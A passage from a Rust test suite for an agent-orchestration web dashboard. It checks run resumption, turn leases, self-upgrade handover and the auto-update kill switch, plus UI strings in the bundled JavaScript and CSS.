13972 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13973 )
13974 .await;
13975 assert_eq!(res.status, 409, "{}", res.body);
13976 assert!(
13977 res.json()["error"]
13978 .as_str()
13979 .unwrap()
13980 .contains("live daemon"),
13981 "correcting a run's merge underneath a running agent would race \
13982 whatever it is doing to the same `status`/`merge` fields"
13983 );
13984 }
13985
13986 #[tokio::test]
13991 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
13992 let fx = Fixture::start().await;
13993 let runs = fx.runs();
13994 let id = "20260901-000000-unconfirmed";
13995 write_run(&runs, id, RunStatus::Blocked);
13996
13997 let res = fx
13998 .post(
13999 &format!("/api/runs/{id}/fold-merged"),
14000 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14001 )
14002 .await;
14003 assert_eq!(res.status, 400, "{}", res.body);
14004 assert_eq!(
14005 read_run(&runs, id).unwrap().status,
14006 RunStatus::Blocked,
14007 "a pull request that could not be confirmed merged must leave \
14008 the run exactly where it was"
14009 );
14010 }
14011
14012 #[tokio::test]
14013 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14014 let fx = Fixture::start().await;
14015 let runs = fx.runs();
14016
14017 for (status, word) in [
14023 (RunStatus::Merged, "merged"),
14024 (RunStatus::Ready, "ready"),
14025 (RunStatus::Failed, "failed"),
14026 ] {
14027 let id = format!("20260901-000000-{}", &word[..4]);
14028 write_run(&runs, &id, status);
14029 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14030 assert_eq!(res.status, 409, "{word} must not be resumable");
14031 let err = res.json()["error"].as_str().unwrap().to_owned();
14032 assert!(err.contains(word), "the refusal names the status: {err}");
14033 }
14034
14035 let mid = "20260901-000000-midf";
14040 write_run(&runs, mid, RunStatus::Reviewing);
14041 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14042 assert_eq!(res.status, 202, "an interrupted run is resumable");
14043 }
14044
14045 #[tokio::test]
14046 async fn resume_is_refused_while_the_loop_is_running() {
14047 let fx = Fixture::start().await;
14048 let runs = fx.runs();
14049 let stalled = "20260901-000000-stal";
14050 write_run(&runs, stalled, RunStatus::Stalled);
14051
14052 let mut beat = crate::daemon::Status::new();
14056 beat.current = vec![crate::daemon::Current {
14057 task: "20260901-000000-task".to_owned(),
14058 run: "20260901-000000-othr".to_owned(),
14059 }];
14060 beat.updated_at = jiff::Timestamp::now();
14061 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14062 .expect("publish a heartbeat");
14063
14064 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14065 assert_eq!(res.status, 409);
14066 let err = res.json()["error"].as_str().unwrap().to_owned();
14067 assert!(err.contains("othr"), "it names what the loop is on: {err}");
14068 assert!(err.contains("stop it first"), "{err}");
14069 }
14070
14071 #[test]
14072 fn a_run_cannot_be_resumed_twice_at_once() {
14073 let home = TempDir::new().expect("temp home");
14074 let ui = Ui::new(
14075 Queue::at(home.path().join("queue")),
14076 Questions::at(home.path().join("questions")),
14077 Talks::at(home.path().join("talks")),
14078 home.path().join("runs"),
14079 home.path().to_path_buf(),
14080 PathBuf::from("/repo"),
14081 )
14082 .with_worktrees_root(home.path().join("wt"));
14083 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14084 let again = ui.begin_resume("20260901-000000-once");
14085 assert!(again.is_err(), "a second tap must not start a second graph");
14086 drop(first);
14087 assert!(
14088 ui.begin_resume("20260901-000000-once").is_ok(),
14089 "and the claim is released when the attempt ends"
14090 );
14091 }
14092
14093 #[test]
14094 fn talk_thinking_tracks_only_its_held_turn_claim() {
14095 let home = TempDir::new().expect("temp home");
14096 let ui = Ui::new(
14097 Queue::at(home.path().join("queue")),
14098 Questions::at(home.path().join("questions")),
14099 Talks::at(home.path().join("talks")),
14100 home.path().join("runs"),
14101 home.path().to_path_buf(),
14102 PathBuf::from("/repo"),
14103 )
14104 .with_worktrees_root(home.path().join("wt"));
14105 let id = "20260901-000000-once";
14106
14107 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14108 let turn = ui.begin_talk_turn(id).expect("claim turn");
14109 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14110 assert!(
14111 !ui.is_thinking("20260901-000000-other"),
14112 "one talk's turn does not make another talk busy"
14113 );
14114 drop(turn);
14115 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14116 }
14117
14118 #[test]
14119 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14120 let home = TempDir::new().expect("temp home");
14121 let talks = Talks::at(home.path().join("talks"));
14122 let ui = Ui::new(
14123 Queue::at(home.path().join("queue")),
14124 Questions::at(home.path().join("questions")),
14125 talks.clone(),
14126 home.path().join("runs"),
14127 home.path().to_path_buf(),
14128 PathBuf::from("/repo"),
14129 )
14130 .with_worktrees_root(home.path().join("wt"));
14131 let id = "20260901-000000-cross";
14132
14133 let other = Talks::at(home.path().join("talks"))
14134 .claim_turn(id)
14135 .expect("claim")
14136 .expect("the other process wins");
14137 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
14138 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
14139 assert!(
14140 matches!(
14141 ui.begin_talk_turn_unless_pending(id).expect("start"),
14142 TalkTurnStart::Foreign
14143 ),
14144 "a foreign holder is refused, not queued behind"
14145 );
14146 assert!(
14147 !ui.talk_turns.lock().unwrap().live.contains(id),
14148 "a refused claim leaves no in-process entry behind"
14149 );
14150 drop(other);
14151 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
14152 assert!(talks.turn_held(id), "the web turn holds the lease");
14153 drop(turn);
14154 assert!(
14155 !talks.turn_held(id),
14156 "dropping the guard releases the lease"
14157 );
14158 }
14159
14160 #[tokio::test]
14161 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
14162 let fx = Fixture::start().await;
14163 let mut beat = crate::daemon::Status::new();
14167 beat.pid = 4321;
14168 beat.updated_at = jiff::Timestamp::now();
14169 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14170 .expect("publish a heartbeat");
14171
14172 let res = fx.post("/api/upgrade", None).await;
14173 assert_eq!(res.status, 409);
14174 let err = res.json()["error"].as_str().unwrap().to_owned();
14175 assert!(err.contains("4321"), "the refusal names the owner: {err}");
14176 assert!(err.contains("old one against the same queue"), "{err}");
14177 }
14178
14179 #[test]
14186 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
14187 assert!(!should_spawn_recheck(&crate::config::Update {
14188 mode: UpdateMode::Off,
14189 interval: None,
14190 }));
14191
14192 unsafe {
14195 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14196 }
14197 let killed = should_spawn_recheck(&crate::config::Update {
14198 mode: UpdateMode::Notify,
14199 interval: None,
14200 });
14201 unsafe {
14202 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14203 }
14204 assert!(
14205 !killed,
14206 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
14207 one-time startup check"
14208 );
14209
14210 assert!(should_spawn_recheck(&crate::config::Update {
14211 mode: UpdateMode::Notify,
14212 interval: None,
14213 }));
14214 }
14215
14216 #[test]
14222 fn recheck_poll_period_tracks_a_short_configured_interval() {
14223 let short = crate::config::Update {
14224 mode: UpdateMode::Notify,
14225 interval: Some("1m".to_owned()),
14226 };
14227 let period = recheck_poll_period(&short);
14228 assert!(
14229 period <= Duration::from_secs(30),
14230 "a one-minute interval must wake the task far sooner than the \
14231 default ceiling, or the deck would not notice within the \
14232 interval the operator configured: got {period:?}"
14233 );
14234
14235 let default = crate::config::Update {
14236 mode: UpdateMode::Notify,
14237 interval: None,
14238 };
14239 assert_eq!(
14240 recheck_poll_period(&default),
14241 UPDATE_RECHECK_POLL_MAX,
14242 "the default day-long interval should poll at the (capped) \
14243 ceiling rather than needlessly often"
14244 );
14245 }
14246
14247 #[test]
14255 fn recheck_skips_the_network_before_the_interval_elapses() {
14256 let dir = TempDir::new().expect("temp dir");
14257 let path = dir.path().join("state.json");
14258 let state = kaishin::UpdateCheckState {
14259 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
14260 last_known_latest: None,
14261 last_known_url: None,
14262 };
14263 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
14264
14265 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
14266 assert!(
14267 !update_recheck_due(&checker, None),
14268 "a check made moments ago must not be repeated before the \
14269 configured interval elapses"
14270 );
14271 }
14272
14273 #[test]
14279 fn recheck_defers_to_an_upgrade_already_in_flight() {
14280 let dir = TempDir::new().expect("temp dir");
14281 let path = dir.path().join("state.json");
14282 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
14283 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
14284
14285 assert!(
14286 !update_recheck_due(&checker, Some(&progress)),
14287 "a recheck must not run while an upgrade this deck started is \
14288 still moving"
14289 );
14290 }
14291
14292 #[tokio::test]
14293 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
14294 unsafe {
14306 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14307 }
14308 let fx = Fixture::start().await;
14309 let res = fx.post("/api/upgrade", None).await;
14310 unsafe {
14311 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14312 }
14313 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14314 let body = res.json();
14315 assert!(body["to"].is_null(), "there was no release to move to");
14316 assert!(body["parked"].is_null(), "and nothing was parked");
14317 assert!(
14318 body["detail"]
14319 .as_str()
14320 .unwrap()
14321 .contains("disabled by MAGI_NO_AUTOUPDATE"),
14322 "{body:?}"
14323 );
14324 }
14325
14326 #[tokio::test]
14327 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
14328 let repo = TempDir::new().expect("repo dir");
14344 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14345 .expect("write magi.toml");
14346 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14347
14348 let res = fx.post("/api/upgrade", None).await;
14354 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14355 let body = res.json();
14356 assert!(body["to"].is_null(), "there was no release to move to");
14357 assert!(body["parked"].is_null(), "and nothing was parked");
14358 assert!(
14359 body["detail"]
14360 .as_str()
14361 .unwrap()
14362 .contains("nothing restarted"),
14363 "{body:?}"
14364 );
14365 }
14366
14367 #[tokio::test]
14368 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
14369 let repo = TempDir::new().expect("repo dir");
14374 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14375 .expect("write magi.toml");
14376 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14377
14378 let health = fx.get("/api/health").await.json();
14379 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
14380 assert_eq!(
14381 health["update"]["available"], false,
14382 "checking is off, which reads as \"unknown\", not \"none\""
14383 );
14384 assert!(health["update"]["to"].is_null());
14385 assert!(
14386 health["upgrade"].is_null(),
14387 "nothing has ever asked this deck to upgrade"
14388 );
14389 }
14390
14391 #[tokio::test]
14392 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
14393 let fx = Fixture::start().await;
14394 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
14395
14396 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14397 progress.parked_run = Some("20260905-000000-cd51".to_owned());
14398 progress.advance(crate::updater::Stage::Parking);
14399 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14400
14401 let health = fx.get("/api/health").await.json();
14402 assert_eq!(health["upgrade"]["stage"], "parking");
14403 assert_eq!(health["upgrade"]["from"], "0.5.1");
14404 assert_eq!(health["upgrade"]["to"], "0.5.2");
14405 let waiting_on = health["upgrade"]["waiting_on"]
14406 .as_str()
14407 .expect("waiting_on is set while parking a known run");
14408 assert!(waiting_on.contains("cd51"), "{waiting_on}");
14409 assert!(waiting_on.contains("implementing"), "{waiting_on}");
14410 }
14411
14412 #[tokio::test]
14413 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
14414 let fx = Fixture::start().await;
14415 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14416 progress.advance(crate::updater::Stage::Done);
14417 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14418
14419 let health = fx.get("/api/health").await.json();
14420 assert_eq!(health["upgrade"]["stage"], "done");
14421 assert!(
14422 health["upgrade"]["waiting_on"].is_null(),
14423 "nothing to wait on once it is done"
14424 );
14425 }
14426
14427 #[tokio::test]
14428 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
14429 let home = TempDir::new().expect("temp home");
14430 let runs = home.path().join("runs");
14431 std::fs::create_dir_all(&runs).expect("runs dir");
14432 let ui = Ui::new(
14433 Queue::at(home.path().join("queue")),
14434 Questions::at(home.path().join("questions")),
14435 Talks::at(home.path().join("talks")),
14436 runs,
14437 home.path().to_path_buf(),
14438 PathBuf::from("/repo/magi"),
14439 )
14440 .with_launch(launch_idle);
14441 let looping = ui.looping();
14442 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14443 .await
14444 .expect("bind loopback");
14445 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14446
14447 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14448 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14449
14450 hand_over(home.path(), &looping, served, |_| Ok(1))
14451 .await
14452 .expect("hand over");
14453
14454 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14455 assert_eq!(
14456 after.stage,
14457 crate::updater::Stage::Restarting,
14458 "hand_over owns the record through parking and up to restarting; \
14459 the successor is what finishes it"
14460 );
14461 }
14462
14463 #[tokio::test]
14466 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14467 for fail in [false, true] {
14468 let home = TempDir::new().expect("temp home");
14469 let ui = idle_ui(&home);
14470 let looping = ui.looping();
14471 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14472 .await
14473 .expect("bind loopback");
14474 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14475 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14476 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14477
14478 let calls = std::sync::atomic::AtomicUsize::new(0);
14479 let outcome = hand_over(home.path(), &looping, served, |_| {
14480 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
14481 if fail {
14482 anyhow::bail!("no exec")
14483 } else {
14484 Ok(4242)
14485 }
14486 })
14487 .await;
14488 assert_eq!(outcome.is_err(), fail);
14489 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
14490
14491 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
14492 .expect("upgrade.log is written under the home");
14493 for step in [
14494 "entered",
14495 "finish_loop",
14496 "listener released",
14497 "starting the successor",
14498 ] {
14499 assert!(log.contains(step), "missing `{step}` in:\n{log}");
14500 }
14501 assert!(
14502 log.contains(if fail { "did not start" } else { "pid 4242" }),
14503 "{log}"
14504 );
14505 }
14506 }
14507
14508 #[tokio::test]
14511 async fn the_handover_signal_wakes_one_waiter_once() {
14512 let signal = Notify::new();
14513 signal.notify_one();
14515 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
14516 .await
14517 .expect("an early signal is still seen");
14518 assert!(
14520 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
14521 .await
14522 .is_err(),
14523 "a consumed signal must not wake a second time"
14524 );
14525 let signal = std::sync::Arc::new(signal);
14527 let waiter = tokio::spawn({
14528 let signal = std::sync::Arc::clone(&signal);
14529 async move { wait_for_handover(&signal).await }
14530 });
14531 tokio::time::sleep(Duration::from_millis(20)).await;
14532 assert!(!waiter.is_finished(), "nothing was signalled yet");
14533 signal.notify_one();
14534 tokio::time::timeout(Duration::from_secs(5), waiter)
14535 .await
14536 .expect("a late signal wakes the waiter")
14537 .expect("join");
14538 }
14539
14540 #[tokio::test]
14541 async fn health_says_how_long_a_handover_has_been_stuck() {
14542 let fx = Fixture::start().await;
14543 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14544 progress.advance(crate::updater::Stage::Replaced);
14545 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
14546 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14547
14548 let health = fx.get("/api/health").await.json();
14549 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
14550 assert!(stuck >= 600, "{stuck}");
14551 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
14552 }
14553
14554 fn idle_ui(home: &TempDir) -> Ui {
14555 let runs = home.path().join("runs");
14556 std::fs::create_dir_all(&runs).expect("runs dir");
14557 Ui::new(
14558 Queue::at(home.path().join("queue")),
14559 Questions::at(home.path().join("questions")),
14560 Talks::at(home.path().join("talks")),
14561 runs,
14562 home.path().to_path_buf(),
14563 PathBuf::from("/repo/magi"),
14564 )
14565 .with_launch(launch_idle)
14566 }
14567
14568 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
14570 let looping = ui.looping();
14571 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14572 .await
14573 .expect("bind loopback");
14574 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14575 let told = std::sync::Mutex::new(None);
14576 hand_over(home.path(), &looping, served, |resume| {
14577 *told.lock().unwrap() = Some(resume);
14578 Ok(1)
14579 })
14580 .await
14581 .expect("hand over");
14582 told.into_inner().unwrap().expect("successor was started")
14583 }
14584
14585 #[tokio::test]
14586 async fn a_running_loop_is_resumed_by_the_successor() {
14587 let home = TempDir::new().expect("temp home");
14588 let ui = idle_ui(&home);
14589 ui.start_loop(None).expect("start");
14590 ui.park_for_upgrade().expect("park");
14591 for _ in 0..500 {
14593 if !ui.loop_view(None).running {
14594 break;
14595 }
14596 tokio::time::sleep(Duration::from_millis(2)).await;
14597 }
14598 assert!(handed_over(&home, ui).await, "a running loop must resume");
14599
14600 let successor = idle_ui(&home);
14601 assert!(!successor.loop_view(None).running);
14602 assert!(successor.resume_after_handover(true));
14603 assert!(successor.loop_view(None).running);
14604 successor.stop_loop(None, false).expect("stop");
14605 }
14606
14607 #[tokio::test]
14608 async fn a_second_upgrade_request_keeps_the_resume_intent() {
14609 let home = TempDir::new().expect("temp home");
14610 let ui = idle_ui(&home);
14611 ui.start_loop(None).expect("start");
14612 ui.park_for_upgrade().expect("first park");
14613 ui.park_for_upgrade().expect("second park");
14614 assert!(handed_over(&home, ui).await);
14615 }
14616
14617 #[tokio::test]
14618 async fn a_stop_during_the_handover_wait_is_honoured() {
14619 let home = TempDir::new().expect("temp home");
14620 let ui = idle_ui(&home);
14621 ui.start_loop(None).expect("start");
14622 ui.park_for_upgrade().expect("park");
14623 ui.stop_loop(None, false).expect("stop");
14624 assert!(!handed_over(&home, ui).await);
14625 }
14626
14627 #[tokio::test]
14628 async fn an_idle_loop_stays_stopped_across_the_handover() {
14629 let home = TempDir::new().expect("temp home");
14630 let ui = idle_ui(&home);
14631 ui.park_for_upgrade().expect("park");
14632 assert!(!handed_over(&home, ui).await);
14633
14634 let successor = idle_ui(&home);
14635 assert!(!successor.resume_after_handover(false));
14636 assert!(!successor.loop_view(None).running);
14637 }
14638
14639 #[tokio::test]
14640 async fn a_loop_the_operator_stopped_is_not_resumed() {
14641 let home = TempDir::new().expect("temp home");
14642 let ui = idle_ui(&home);
14643 ui.start_loop(None).expect("start");
14644 ui.stop_loop(None, false).expect("stop");
14645 ui.park_for_upgrade().expect("park");
14646 assert!(!handed_over(&home, ui).await);
14647 }
14648
14649 #[test]
14650 fn only_an_explicit_one_requests_a_resume() {
14651 assert!(!resume_requested(None));
14652 assert!(!resume_requested(Some("0".into())));
14653 assert!(!resume_requested(Some("".into())));
14654 assert!(resume_requested(Some("1".into())));
14655 }
14656
14657 #[test]
14658 fn the_upgrade_button_arms_before_it_restarts_anything() {
14659 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
14662 assert!(APP_JS.contains("Replace the binary and restart?"));
14663 assert!(APP_JS.contains("function confirmed("));
14664 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
14669 assert!(
14673 APP_JS.contains("Parking, then restarting"),
14674 "the button says what it is waiting for"
14675 );
14676 assert!(APP_JS.contains("if (!out.to)"));
14679 }
14680
14681 #[test]
14682 fn stopping_the_loop_arms_but_starting_does_not() {
14683 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
14686 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
14687 assert!(APP_JS.contains("confirmed(button, question)"));
14688 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
14691 assert!(APP_JS.contains("const label = btn.textContent;"));
14692 assert!(!APP_JS.contains("Neither direction is guarded"));
14693 }
14694
14695 #[test]
14696 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
14697 assert!(
14698 APP_JS.contains("state.health.version"),
14699 "the operator wants to know what is running even with nothing newer"
14700 );
14701 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
14702 }
14703
14704 #[test]
14705 fn the_upgrade_button_names_its_destination() {
14706 assert!(
14707 APP_JS.contains("`Update to ${update.to}`"),
14708 "pressing the button should not be a surprise about what it moves to"
14709 );
14710 }
14711
14712 #[test]
14713 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
14714 for stage in ["downloading", "replaced", "parking", "restarting"] {
14715 assert!(
14716 APP_JS.contains(&format!("\"{stage}\"")),
14717 "the phone must be able to tell {stage} apart from the others"
14718 );
14719 }
14720 assert!(APP_JS.contains(".waiting_on"));
14721 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
14726 assert!(APP_JS.contains("reconnects on its own"));
14727 }
14728
14729 #[test]
14730 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
14731 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
14740 ..APP_JS.find("function upgrade(").expect("upgrade")];
14741 assert!(
14742 !body.contains(
14743 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
14744 ),
14745 "a failed upgrade must not take the whole strip over the way it used to"
14746 );
14747 assert!(
14748 body.contains("upgradeFailNote"),
14749 "the failure has to reach the loop's own note instead"
14750 );
14751 assert_eq!(
14755 body.matches("upgradeFailNote].filter(Boolean).join")
14756 .count(),
14757 2,
14758 "both loop-why writers (quiet and control) must fold the note in"
14759 );
14760 }
14761
14762 #[test]
14763 fn an_overdue_upgrade_eventually_asks_for_a_human() {
14764 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
14767 assert!(APP_JS.contains("function upgradeOverdue("));
14768 }
14769
14770 #[test]
14771 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
14772 assert!(
14773 APP_JS.contains("Updated to ${upgradeInfo.to"),
14774 "the operator who asked for the restart wants to know it worked"
14775 );
14776 }
14777
14778 #[test]
14779 fn an_error_is_visible_from_where_the_button_is() {
14780 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
14785 ..APP_CSS.find(".alert-text").expect(".alert-text")];
14786 assert!(
14787 alert.contains("position: fixed"),
14788 "an error about the thing under your thumb has to be visible from \
14789 where your thumb is: {alert}"
14790 );
14791 assert!(
14792 alert.contains("z-index: 25"),
14793 "above the dock (20) and the run-actions FAB (15), so neither \
14794 buries it: {alert}"
14795 );
14796 assert!(
14797 alert.contains("var(--tap)"),
14798 "and clear of the dock and the home indicator: {alert}"
14799 );
14800 assert!(
14803 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
14804 "the FAB's column stays free: {alert}"
14805 );
14806 }
14807
14808 #[tokio::test]
14809 async fn an_older_attempt_says_what_replaced_it() {
14810 let fx = Fixture::start().await;
14811 let q = fx.queue();
14812 let runs = fx.runs();
14813 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14814 write_run(&runs, first, RunStatus::Stalled);
14815 write_run(&runs, second, RunStatus::Blocked);
14816
14817 let mut t = Task::new(
14818 "one task".to_owned(),
14819 "do it".to_owned(),
14820 PathBuf::from("/repo"),
14821 Source::Human,
14822 );
14823 t.runs = vec![first.to_owned(), second.to_owned()];
14824 q.put(&mut t).expect("put");
14825
14826 let rows = fx.get("/api/runs").await.json();
14830 let by = |short: &str| -> Value {
14831 rows.as_array()
14832 .unwrap()
14833 .iter()
14834 .find(|r| r["short"] == short)
14835 .cloned()
14836 .unwrap_or(Value::Null)
14837 };
14838 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
14839 assert!(
14840 by("bbbb")["superseded_by"].is_null(),
14841 "the latest attempt is not superseded by anything"
14842 );
14843 assert!(APP_JS.contains("run.superseded_by"));
14845 assert!(APP_JS.contains("Superseded by"));
14846 }
14847
14848 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
14849 let mut t = Task::new(
14850 "one task".to_owned(),
14851 "do it".to_owned(),
14852 PathBuf::from("/repo"),
14853 Source::Human,
14854 );
14855 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
14856 t.status = status;
14857 t
14858 }
14859
14860 #[test]
14861 fn source_link_picks_the_page_that_filed_the_task() {
14862 let agent = |node: &str| Source::Agent {
14863 run: "20260904-014455-ab12".to_owned(),
14864 node: node.to_owned(),
14865 };
14866 let chat = source_link(&agent("chat")).expect("chat link");
14867 assert_eq!(chat.kind, "chat");
14868 assert_eq!(chat.id, "20260904-014455-ab12");
14869 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
14870 let run = source_link(&agent("implement")).expect("run link");
14871 assert_eq!(
14872 (run.kind, run.href.as_str()),
14873 ("run", "#/runs/20260904-014455-ab12")
14874 );
14875 assert_eq!(source_link(&Source::Human), None);
14876 assert_eq!(
14877 source_link(&Source::Issue {
14878 number: 3,
14879 repo: "o/r".to_owned()
14880 }),
14881 None
14882 );
14883 let odd = source_link(&Source::Agent {
14884 run: "a b/c".to_owned(),
14885 node: "chat".to_owned(),
14886 })
14887 .expect("link");
14888 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
14889 }
14890
14891 #[test]
14892 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
14893 assert!(
14894 !APP_JS.contains("src.node === \"chat\""),
14895 "inline href rule is back"
14896 );
14897 assert!(
14898 APP_JS.matches("sourceLinkOf(").count() >= 4,
14899 "helper must serve every page"
14900 );
14901 assert!(
14902 APP_JS.matches("openChatLink(").count() >= 3,
14903 "the run page still needs its explicit chat link"
14904 );
14905 assert!(
14906 !APP_JS.contains("const openChat = el("),
14907 "the Queue card duplicates its source label link again"
14908 );
14909 assert!(
14910 APP_JS.contains("metaKids.push(link ? el(\"a\""),
14911 "the task page must link a chat source label too"
14912 );
14913 }
14914
14915 #[test]
14916 fn task_ref_carries_the_source_link_for_a_chat_task() {
14917 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14918 t.source = Source::Agent {
14919 run: "20260904-014455-ab12".to_owned(),
14920 node: "chat".to_owned(),
14921 };
14922 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
14923 let v = serde_json::to_value(&out).expect("json");
14924 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
14925 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
14926 assert_eq!(v["source_label"], t.source.label());
14927
14928 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14929 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
14930 .expect("json");
14931 assert!(v["source_link"].is_null(), "{v}");
14932 }
14933
14934 #[test]
14935 fn task_view_serializes_source_link() {
14936 let mut t = Task::new(
14937 "t".to_owned(),
14938 "t".to_owned(),
14939 PathBuf::from("/repo"),
14940 Source::Agent {
14941 run: "20260901-000000-aaaa".to_owned(),
14942 node: "implement".to_owned(),
14943 },
14944 );
14945 t.runs.clear();
14946 let v = serde_json::to_value(TaskView::from(t)).expect("json");
14947 assert_eq!(v["source_link"]["kind"], "run", "{v}");
14948 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
14949 }
14950
14951 #[tokio::test]
14952 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
14953 let fx = Fixture::start().await;
14954 let runs = fx.runs();
14955 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14956 write_run(&runs, old, RunStatus::Blocked);
14957 write_run(&runs, new, RunStatus::Merged);
14958 let mut t = outcome_task(&[old, new], TaskStatus::Done);
14959 fx.queue().put(&mut t).expect("put");
14960
14961 let view = fx.get(&format!("/api/runs/{old}")).await.json();
14962 let task = &view["task"];
14963 assert_eq!(task["status"], "done");
14964 assert_eq!(task["is_latest"], false);
14965 assert_eq!(task["latest"]["short"], "bbbb");
14966 assert_eq!(task["finished_by"]["id"], new);
14967 assert_eq!(task["finished_by"]["outcome"], "merged");
14968 assert_eq!(task["closed_by_hand"], false);
14969 assert_eq!(view["status"], "blocked", "the run keeps its own status");
14970 assert!(APP_JS.contains("finished_by"));
14971 assert!(APP_JS.contains("superseded by run"));
14972 }
14973
14974 #[tokio::test]
14975 async fn the_latest_run_reports_a_held_task_without_a_successor() {
14976 let fx = Fixture::start().await;
14977 let runs = fx.runs();
